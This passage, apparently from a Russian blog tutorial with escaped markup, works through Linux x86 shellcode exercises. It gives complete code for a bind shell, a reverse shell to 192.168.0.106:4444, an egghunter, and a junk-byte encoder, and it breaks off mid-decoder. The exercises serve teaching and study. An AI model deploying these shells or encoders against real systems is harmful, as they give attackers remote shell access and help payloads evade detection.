\u043d\u043e\u043c\u0435\u0440 \u0432\u044b\u0437\u043e\u0432\u0430 \u0441\u043e\u043a\u0435\u0442\u0430 \u0438 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0435\u0433\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b. \u0421\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0441\u043e\u043a\u0435\u0442\u0430 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432 \u0444\u0430\u0439\u043b\u0435: \/usr\/include\/linux\/net.h<\/p>\n<pre><code class=\"plaintext\">\t; creating socket. 3 args \tpush esi\t; 3rd arg, choose default proto \tpush 0x1\t; 2nd arg, 1 equal SOCK_STREAM, TCP \tpush 0x2\t; 1st arg, 2 means Internet family proto \t; calling socket call for socket creating \tmov al, 102\t; socketcall \tmov bl, 1\t; 1 = socket() \tmov ecx, esp\t; pointer to args of socket() \tint 0x80 \t; in eax socket file descriptor. Save it \tmov edx, eax<\/code><\/pre>\n<p>  <b>2. \u0423\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043a\u0435\u0442\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c bind().<\/b><br \/>  \u041d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0435 \u043d\u0438\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u043e\u043a\u0435\u0442\u0430 \u0432 \u0441\u0442\u0435\u043a.<br \/>  \u041f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u043f\u043e\u0442\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f, \u0432 \u043a\u0430\u043a\u043e\u043c \u0432\u0438\u0434\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0435\u043a \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u043e\u043a\u0435\u0442\u0430:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/wg\/zx\/xb\/wgzxxblapjjafqugqngl61pc_7y.png\" alt=\"image\"><\/p>\n<pre><code class=\"plaintext\">\t; creating sockaddr_in addr struct for bind \tpush esi\t\t; address, 0 - all interfaces \tpush WORD 0xd204\t; port 1234. \tpush WORD 2\t\t; AF_INET \tmov ecx, esp\t\t; pointer to sockaddr_in struct \tpush 0x16\t\t; size of struct \tpush ecx\t\t; pushing pointer to struct \tpush edx\t\t; pushing socket descriptor \t; socketcall \tmov al, 102 \tmov bl, 2\t\t; bind() \tmov ecx, esp \tint 0x80<\/code><\/pre>\n<p>  \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u043e\u0440\u0442, \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<\/p>\n<pre><code class=\"plaintext\">$python3 -c &quot;import socket; print(hex(socket.htons(&lt;int:port&gt;)))&quot; <\/code><\/pre>\n<p>  \u0418 \u0435\u0441\u043b\u0438 \u0432\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0443\u0448\u0430\u0442\u044c \u043d\u0430\u0448 \u0441\u043e\u043a\u0435\u0442:<\/p>\n<pre><code class=\"plaintext\">$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address(&quot;&lt;IPv4 address&gt;&quot;))); print(&quot;0x&quot;+&quot;&quot;.join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'<\/code><\/pre>\n<p>  <b>3. \u0412\u044b\u0437\u043e\u0432 listen()<\/b><\/p>\n<pre><code class=\"plaintext\">\t; creating listen \tpush 1 \tpush edx \t; calling socketcall \tmov al, 102 \tmov bl, 4\t\t; listen() \tmov ecx, esp \tint 0x80<\/code><\/pre>\n<p>  <b>4. \u0412\u044b\u0437\u043e\u0432 accept()<\/b><\/p>\n<pre><code class=\"plaintext\">\t; creating accept() \tpush esi \tpush esi \tpush edx \t; calling socketcall \tmov al, 102 \tmov bl, 5\t\t; accept() \tmov ecx, esp \tint 0x80  \tmov edx, eax\t\t; saving client file descriptor<\/code><\/pre>\n<p>  <b>5. \u0414\u0443\u0431\u043b\u0438\u0440\u0443\u0435\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u044b.<\/b><\/p>\n<pre><code class=\"plaintext\">\t; dup2 STDIN, STDOUT, STDERR \txor ecx, ecx \tmov cl, 3 \tmov ebx, edx dup:\tdec ecx \tmov al, 63 \tint 0x80 \tjns dup<\/code><\/pre>\n<p>  <b>6. \u0412\u044b\u0437\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443<\/b><\/p>\n<pre><code class=\"plaintext\">\t; execve \/bin\/sh \txor eax, eax \tpush eax \tpush 0x68732f2f \tpush 0x6e69622f         mov ebx, esp         push eax         mov edx, esp         push ebx         mov ecx, esp         mov al, 11         int 0x80<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0441\u043b\u043e\u0436\u0438\u043c \u0432\u0441\u0451 \u0432\u043c\u0435\u0441\u0442\u0435<\/p>\n<pre><code class=\"plaintext\">\tsection .text global _start  _start: \t; clear registers \txor eax, eax \txor ebx, ebx \txor esi, esi \t; creating socket. 3 args \tpush esi\t; 3rd arg, choose default proto \tpush 0x1\t; 2nd arg, 1 equal SOCK_STREAM, TCP \tpush 0x2\t; 1st arg, 2 means Internet family proto \t; calling socket call for socket creating \tmov al, 102\t; socketcall \tmov bl, 1\t; 1 = socket() \tmov ecx, esp\t; pointer to args of socket() \tint 0x80 \t; in eax socket file descriptor. Save it \tmov edx, eax  \t; creating sockaddr_in addr struct for bind \tpush esi\t\t; address, 0 - all interfaces \tpush WORD 0xd204\t; port 1234. \tpush WORD 2\t\t; AF_INET \tmov ecx, esp\t\t; pointer to sockaddr_in struct \tpush 0x16\t\t; size of struct \tpush ecx\t\t; pushing pointer to struct \tpush edx\t\t; pushing socket descriptor \t; socketcall \tmov al, 102\t\t; socketcall() number \tmov bl, 2\t\t; bind() \tmov ecx, esp\t\t; 2nd argument - pointer to args \tint 0x80  \t; creating listen \tpush 1\t\t\t; listen for 1 client \tpush edx\t\t; clients queue size \t; calling socketcall \tmov al, 102 \tmov bl, 4\t\t; listen() \tmov ecx, esp \tint 0x80  \t; creating accept() \tpush esi\t\t; use default value \tpush esi\t\t; use default value \tpush edx\t\t; sockfd \t; calling socketcall \tmov al, 102 \tmov bl, 5\t\t; accept() \tmov ecx, esp \tint 0x80  \tmov edx, eax\t\t; saving client file descriptor  \t; dup2 STDIN, STDOUT, STDERR \txor ecx, ecx\t\t; clear ecx \tmov cl, 3\t\t; number of loops \tmov ebx, edx\t\t; socketfd dup:\tdec ecx \tmov al, 63\t\t; number of dup2 syscall() \tint 0x80 \tjns dup\t\t\t; repeat for 1,0  \t; execve \/bin\/bash \txor eax, eax\t\t; clear eax \tpush eax\t\t; string terminator \tpush 0x68732f2f\t\t; \/\/bin\/sh \tpush 0x6e69622f         mov ebx, esp\t\t; 1st arg - address of \/\/bin\/sh         push eax\t\t;          mov edx, eax\t\t; last argument is zero         push ebx\t\t; 2nd arg - pointer to all args of command         mov ecx, esp\t\t; pointer to args         mov al, 11\t\t; execve syscall number         int 0x80<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0431\u0435\u0440\u0451\u043c \u043e\u043f\u043a\u043e\u0434 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430, \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c \u0435\u0433\u043e \u0432 \u043d\u0430\u0448 \u0448\u0430\u0431\u043b\u043e\u043d \u0421-\u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/px\/vs\/x_\/pxvsx_kbwk8cpw6ut9vd0eopjt0.png\" alt=\"image\"><\/p>\n<h4>2. Reverse TCP Shell<\/h4>\n<p>  \u042d\u0442\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0435, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435. \u041e\u0431\u0449\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c:<\/p>\n<p>  1. \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u043e\u043a\u0435\u0442;<br \/>  2. \u0412\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f: \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b, \u0445\u043e\u0441\u0442, \u043f\u043e\u0440\u0442;<br \/>  3. \u0414\u0443\u0431\u043b\u0438\u0440\u0443\u0435\u043c \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0435 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u044b;<br \/>  4. \u0412\u044b\u0437\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443.<\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt; #include &lt;sys\/socket.h&gt; #include &lt;netinet\/ip.h&gt; #include &lt;arpa\/inet.h&gt; #include &lt;unistd.h&gt;  int main () {     const char* ip = &quot;192.168.0.106&quot;;\t\/\/ place your address here     struct sockaddr_in addr;      addr.sin_family = AF_INET;     addr.sin_port = htons(4444);\t\/\/ port     inet_aton(ip, &addr;.sin_addr);      int sockfd = socket(AF_INET, SOCK_STREAM, 0);     connect(sockfd, (struct sockaddr *)&addr;, sizeof(addr));      \/* duplicating standard file descriptors *\/     for (int i = 0; i &lt; 3; i++)     {         dup2(sockfd, i);     }      execve(&quot;\/bin\/sh&quot;, NULL, NULL);   <\/code><\/pre>\n<p>  \u041f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043c \u0432 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440<\/p>\n<pre><code class=\"plaintext\">\tsection .text global _start  _start: \t; creating socket \txor eax, eax \txor esi, esi \txor ebx, ebx \tpush esi \tpush 0x1 \tpush 0x2 \t; calling socket call for socket creating \tmov al, 102 \tmov bl, 1 \tmov ecx, esp \tint 0x80 \tmov edx, eax  \t; creating sockaddr_in and connect() \tpush esi \tpush esi \tpush 0x6a00a8c0\t\t; IPv4 address to connect \tpush WORD 0x5c11\t; port \tpush WORD 2 \tmov ecx, esp \tpush 0x16 \tpush ecx \tpush edx \t; socketcall() \tmov al, 102 \tmov bl, 3\t\t; connect() \tmov ecx, esp \tint 0x80  \t; dup2 STDIN, STDOUT, STDERR \txor ecx, ecx \tmov cl, 3 \tmov ebx, edx dup:\tdec ecx \tmov al, 63 \tint 0x80 \tjns dup  \t; execve \/bin\/sh \txor eax, eax \tpush eax \tpush 0x68732f2f \tpush 0x6e69622f         mov ebx, esp         push eax         mov edx, esp         push ebx         mov ecx, esp         mov al, 11         int 0x80<\/code><\/pre>\n<p>  \u0417\u0430\u0442\u0435\u043c:<\/p>\n<pre><code class=\"plaintext\">$nasm32 reverse_tcp_shell<\/code><\/pre>\n<p>  \u041f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0438\u043b\u0438 \u043f\u043e\u0440\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 (\u0437\u0430\u0434\u0430\u043d\u0438\u0435 1)<br \/>  <i>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442<\/i><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cv\/dg\/cs\/cvdgcsad2nttszw7x56-iqnygwy.png\" alt=\"image\"><\/p>\n<h4>3. \u0422\u0435\u0445\u043d\u0438\u043a\u0430 egghunter<\/h4>\n<p>  \u0422\u0435\u0445\u043d\u0438\u043a\u0430 egghunter \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0443\u0447\u0430\u0441\u0442\u043e\u043a, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u00ab\u043f\u0430\u0441\u0445\u0430\u043b\u044c\u043d\u044b\u043c \u044f\u0439\u0446\u043e\u043c\u00bb, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0430\u043c \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0443, \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0437\u0430 \u00ab\u044f\u0439\u0446\u043e\u043c\u00bb. \u042d\u0442\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u0431\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u0430, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043d\u0435 \u0437\u043d\u0430\u0435\u043c \u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430\u0448\u0435\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430.<\/p>\n<p>  \u0414\u043b\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0430:<\/p>\n<ol>\n<li>\u041f\u043e\u043b\u043e\u0436\u0438\u043c \u0432 \u0441\u0442\u0435\u043a \u00ab\u043c\u0443\u0441\u043e\u0440\u00bb;<\/li>\n<li>\u041f\u043e\u043b\u043e\u0436\u0438\u043c \u0432 \u0441\u0442\u0435\u043a \u043d\u0430\u0448 \u0448\u0435\u043b\u043b\u043a\u043e\u0434;<\/li>\n<li>\u041f\u043e\u043b\u043e\u0436\u0438\u043c \u0432 \u0441\u0442\u0435\u043a \u00ab\u043f\u0430\u0441\u0445\u0430\u043b\u044c\u043d\u043e\u0435 \u044f\u0439\u0446\u043e\u00bb;<\/li>\n<li>\u0414\u043e\u0431\u0430\u0432\u0438\u043c \u0435\u0449\u0435 \u00ab\u043c\u0443\u0441\u043e\u0440\u00bb.<\/li>\n<\/ol>\n<p>  \u0414\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u00ab\u043c\u0443\u0441\u043e\u0440\u0430\u00bb \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:<\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python3  import random  rdm = bytearray(random.getrandbits(8) for _ in range(96)) for i in range(0,len(rdm),4): \tbts = rdm[i:i+4] \tprint(&quot;\\tpush 0x&quot; + ''.join('{:02x}'.format(x) for x in bts))<\/code><\/pre>\n<p>  \u0418\u0441\u043a\u0430\u0442\u044c \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434:<\/p>\n<pre><code class=\"plaintext\">\t; execve_sh global _start  section .text _start:          ; PUSH 0         xor eax, eax         push eax          ; PUSH \/\/bin\/sh (8 bytes) \tpush 0x68732f2f \tpush 0x6e69622f          mov ebx, esp          push eax         mov edx, eax          push ebx         mov ecx, esp          mov al, 11         int 0x80<\/code><\/pre>\n<p>  \u042d\u0442\u043e\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0432\u0437\u044f\u0442\u044c \u0435\u0433\u043e \u043e\u043f\u043a\u043e\u0434 \u0438 \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432 \u0441\u0442\u0435\u043a.<\/p>\n<p>  \u0412 \u0438\u0442\u043e\u0433\u0435 \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f:<\/p>\n<pre><code class=\"plaintext\">section .text global _start  _start: \t; trash \tpush 0x94047484 \tpush 0x8c35f24a \tpush 0x5a449067 \tpush 0xf5a651ed \tpush 0x7161d058 \tpush 0x3b7b4e10 \tpush 0x9f93c06e \t; shellcode execve() \/bin\/sh \tpush 0x9080cd0b \tpush 0xb0e18953 \tpush 0xe28950e3 \tpush 0x896e6962 \tpush 0x2f687361 \tpush 0x622f6868 \tpush 0x6a50c031 \t; egg \tpush 0xdeadbeef \t; trash         push 0xd213a92d         push 0x9e3a066b         push 0xeb8cb927         push 0xddbaec55         push 0x43a73283         push 0x89f447de         push 0xacfb220f   \tmov ebx, 0xefbeadde\t; egg in reverse order         mov esi, esp         mov cl, 200\t\t; change this value for deeper or less searching  find:   lodsb\t\t\t; read byte from source - esi         cmp eax, ebx\t\t; is it egg?         jz equal\t\t; if so, give control to shellcode \tshl eax, 8\t\t; if not, shift one byte left         loop find\t\t; repeat  \txor eax, eax\t\t; if there is no egg - exit         mov al, 1 \txor ebx, ebx         mov bl, 10         int 0x80  equal: jmp esi\t\t\t; jmp to shellcode<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yg\/yd\/gt\/ygydgt0qxjwf1ev2_4e0i6puwek.png\" alt=\"image\"><\/p>\n<p>  \u041c\u043e\u0436\u043d\u043e loop find \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0435\u0439 jmp find, \u043d\u043e \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0448\u0438\u0431\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u0422\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u0432 \u043e\u0431\u0449\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e. \u0418\u043d\u043e\u0433\u0434\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430\u0439\u0442\u0438 \u00ab\u043f\u0430\u0441\u0445\u0430\u043b\u044c\u043d\u043e\u0435 \u044f\u0439\u0446\u043e\u00bb, \u043b\u0435\u0436\u0430\u0449\u0435\u0435 \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0442\u043e\u0433\u0434\u0430 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 direction flag&#8217;\u0430, \u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0443 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c jmp esi+offset.<\/p>\n<h4>4. \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0449\u0438\u043a.<\/h4>\n<p>  \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u0438\u0434\u043e\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0439 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0438, \u0447\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u042f \u0440\u0435\u0448\u0438\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044d\u0442\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u0435, \u043a\u0430\u043a \u0432 \u043a\u0443\u0440\u0441\u0435, \u043d\u043e \u0441 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0443\u0441\u043b\u043e\u0436\u043d\u0435\u043d\u0438\u0435\u043c: \u043c\u0435\u0436\u0434\u0443 \u043d\u0443\u0436\u043d\u044b\u043c\u0438 \u0431\u0430\u0439\u0442\u0430\u043c\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0435 (\u043e\u0442 1 \u0434\u043e 5) \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0431\u0430\u0439\u0442 \u043c\u0443\u0441\u043e\u0440\u0430. \u0414\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python3 # -*- coding: utf-8 -*-  import sys import random  if len(sys.argv) != 2:         print(&quot;Enter opcode in hex&quot;)         sys.exit(0)  opcode = sys.argv[1] encoded = &quot;&quot;  b1 = bytearray.fromhex(opcode)  # Generates random value from 1 to 5 of 'aa' string for x in b1:         t = 'aa' * random.randint(1,5)         encoded += '%02x' % x + t  print(encoded)<\/code><\/pre>\n<p>  \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043c \u0432 \u0441\u0442\u0435\u043a:<\/p>\n<pre><code class=\"plaintext\">$.\/hex2stack.py $(.\/encoder.py $(hexopcode execve_sh))<\/code><\/pre>\n<p>  \u0412\u044b\u0432\u043e\u0434:<\/p>\n<pre><code class=\"plaintext\">\tpush 0x909090aa \tpush 0xaaaaaaaa \tpush 0x80aaaaaa \tpush 0xaacdaaaa \tpush 0xaaaa0baa \tpush 0xaaaaaaaa \tpush 0xb0aaaaaa \tpush 0xaae1aaaa \tpush 0xaaaaaa89 \tpush 0xaaaaaa53 \tpush 0xaaaaaac2 \tpush 0xaa89aaaa \tpush 0xaaaa50aa \tpush 0xaaaaaaaa \tpush 0xe3aaaa89 \tpush 0xaaaa6eaa \tpush 0xaa69aaaa \tpush 0xaaaa62aa \tpush 0xaaaaaa2f \tpush 0xaa68aaaa \tpush 0x68aaaaaa \tpush 0xaaaa73aa \tpush 0xaaaa2faa \tpush 0xaa2faaaa \tpush 0xaa68aaaa \tpush 0x50aaaaaa \tpush 0xaaaac0aa \tpush 0xaaaaaa31<\/code><\/pre>\n<p>  \u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u0447\u0430\u0441\u0442\u044c 0x909090aa. \u041f\u0435\u0440\u0432\u044b\u0439 \u0431\u0430\u0439\u0442 90 \u0441\u043f\u0440\u0430\u0432\u0430 \u2014 \u044d\u0442\u043e \u043a\u043e\u043d\u0435\u0446 \u043d\u0430\u0448\u0435\u0433\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u043b\u044e\u0431\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430.<\/p>\n<p>  \u041a\u043e\u0434 \u0434\u0435\u043a\u043e\u0434\u0435\u0440\u0430:<\/p>\n<pre><code class=\"plaintext\">\tsection .text \tglobal _start _start: \t; encoded shellcode \tpush 0x909090aa \tpush 0xaaaaaaaa \tpush 0x80aaaaaa \tpush 0xaacdaaaa \tpush 0xaaaa0baa \tpush 0xaaaaaaaa \tpush 0xb0aaaaaa \tpush 0xaae1aaaa 